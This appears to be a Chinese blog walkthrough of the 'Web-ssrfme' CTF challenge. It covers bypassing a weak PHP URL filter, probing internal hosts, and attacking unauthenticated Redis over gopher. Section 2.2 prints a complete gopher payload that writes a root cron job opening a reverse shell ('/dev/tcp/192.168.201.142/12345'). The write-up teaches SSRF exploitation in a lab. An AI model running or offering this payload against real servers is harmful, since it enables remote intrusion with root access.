SSRF漏洞(服务器端请求伪造)相关案例

2024-08-28 07:36

本文主要是介绍SSRF漏洞(服务器端请求伪造)相关案例,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言:

案例:Web-ssrfme

一、redis未授权访问攻击

1.1 进入题目给出源码

1.2 测试ssrf

1.3 查看phpinfo发现主机

1.4 发现服务

1.5 攻击访问

1.6 FLAG

二、redis未授权写入任务计划

2.1 探测开放端口

2.2 导入任务计划

2.3 反弹shell成功


前言:

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

案例:Web-ssrfme

一、redis未授权访问攻击

1.1 进入题目给出源码

<?php
highlight_file(__file__);
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>

1.2 测试ssrf

但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能。

1.3 查看phpinfo发现主机

然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可)

/search?url=http://172.17.0.1  # 无存活
/search?url=http://172.17.0.2   # 发现另一存活机器
/search?url=http://172.17.0.3   # 当前机器

172.17.0.1是一台apache服务器:

172.17.0.3中是我们自己的本机:

然后我们在172.17.0.2中发现了存活主机:

说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。

1.4 发现服务

当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

我们用bp里面的intruder模块扫描

然后我们发现6379进行开放。

1.5 攻击访问

由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。

然后我们在环境中查看是否存在,发现确实存在这个目录:

我们可以使用我们的一个工具进行渗透,这个工具叫Gopherusr在github上面是开源的,他主要用到的是gopher协议。

  • gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,GopherInternet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

  • 它只支持文本,不支持图像

  • 我们现在最多看到使用这个协议的时候都是在去ssrfredis shell、读mysql数据。

1.6 FLAG

二、redis未授权写入任务计划

未授权写入项目计划书项目地址

2.1 探测开放端口

可以手动探测也可以用万能的bp,打久了经常用的端口就那几个,6379开放。

2.2 导入任务计划

在根目录下面有一个利用工具,进去后可以看到一堆编码,而我们可以通过解码看这个任务计划在做什么:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$75*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.201.142/12345 0>&1'*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

2.3 反弹shell成功

root用户的原因:因为在redis低版本中它没有降权,所以执行的时候使用是root。

这篇关于SSRF漏洞(服务器端请求伪造)相关案例的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1114137

相关文章

MySQL 中的 JSON 查询案例详解

《MySQL中的JSON查询案例详解》:本文主要介绍MySQL的JSON查询的相关知识,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录mysql 的 jsON 路径格式基本结构路径组件详解特殊语法元素实际示例简单路径复杂路径简写操作符注意MySQL 的 J

SpringBoot请求参数接收控制指南分享

《SpringBoot请求参数接收控制指南分享》:本文主要介绍SpringBoot请求参数接收控制指南,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Spring Boot 请求参数接收控制指南1. 概述2. 有注解时参数接收方式对比3. 无注解时接收参数默认位置

Python的time模块一些常用功能(各种与时间相关的函数)

《Python的time模块一些常用功能(各种与时间相关的函数)》Python的time模块提供了各种与时间相关的函数,包括获取当前时间、处理时间间隔、执行时间测量等,:本文主要介绍Python的... 目录1. 获取当前时间2. 时间格式化3. 延时执行4. 时间戳运算5. 计算代码执行时间6. 转换为指

Python Transformers库(NLP处理库)案例代码讲解

《PythonTransformers库(NLP处理库)案例代码讲解》本文介绍transformers库的全面讲解,包含基础知识、高级用法、案例代码及学习路径,内容经过组织,适合不同阶段的学习者,对... 目录一、基础知识1. Transformers 库简介2. 安装与环境配置3. 快速上手示例二、核心模

Spring 请求之传递 JSON 数据的操作方法

《Spring请求之传递JSON数据的操作方法》JSON就是一种数据格式,有自己的格式和语法,使用文本表示一个对象或数组的信息,因此JSON本质是字符串,主要负责在不同的语言中数据传递和交换,这... 目录jsON 概念JSON 语法JSON 的语法JSON 的两种结构JSON 字符串和 Java 对象互转

SpringMVC获取请求参数的方法

《SpringMVC获取请求参数的方法》:本文主要介绍SpringMVC获取请求参数的方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下... 目录1、通过ServletAPI获取2、通过控制器方法的形参获取请求参数3、@RequestParam4、@

Python中使用正则表达式精准匹配IP地址的案例

《Python中使用正则表达式精准匹配IP地址的案例》Python的正则表达式(re模块)是完成这个任务的利器,但你知道怎么写才能准确匹配各种合法的IP地址吗,今天我们就来详细探讨这个问题,感兴趣的朋... 目录为什么需要IP正则表达式?IP地址的基本结构基础正则表达式写法精确匹配0-255的数字验证IP地

MySQL高级查询之JOIN、子查询、窗口函数实际案例

《MySQL高级查询之JOIN、子查询、窗口函数实际案例》:本文主要介绍MySQL高级查询之JOIN、子查询、窗口函数实际案例的相关资料,JOIN用于多表关联查询,子查询用于数据筛选和过滤,窗口函... 目录前言1. JOIN(连接查询)1.1 内连接(INNER JOIN)1.2 左连接(LEFT JOI

鸿蒙中Axios数据请求的封装和配置方法

《鸿蒙中Axios数据请求的封装和配置方法》:本文主要介绍鸿蒙中Axios数据请求的封装和配置方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1.配置权限 应用级权限和系统级权限2.配置网络请求的代码3.下载在Entry中 下载AxIOS4.封装Htt

springboot filter实现请求响应全链路拦截

《springbootfilter实现请求响应全链路拦截》这篇文章主要为大家详细介绍了SpringBoot如何结合Filter同时拦截请求和响应,从而实现​​日志采集自动化,感兴趣的小伙伴可以跟随小... 目录一、为什么你需要这个过滤器?​​​二、核心实现:一个Filter搞定双向数据流​​​​三、完整代码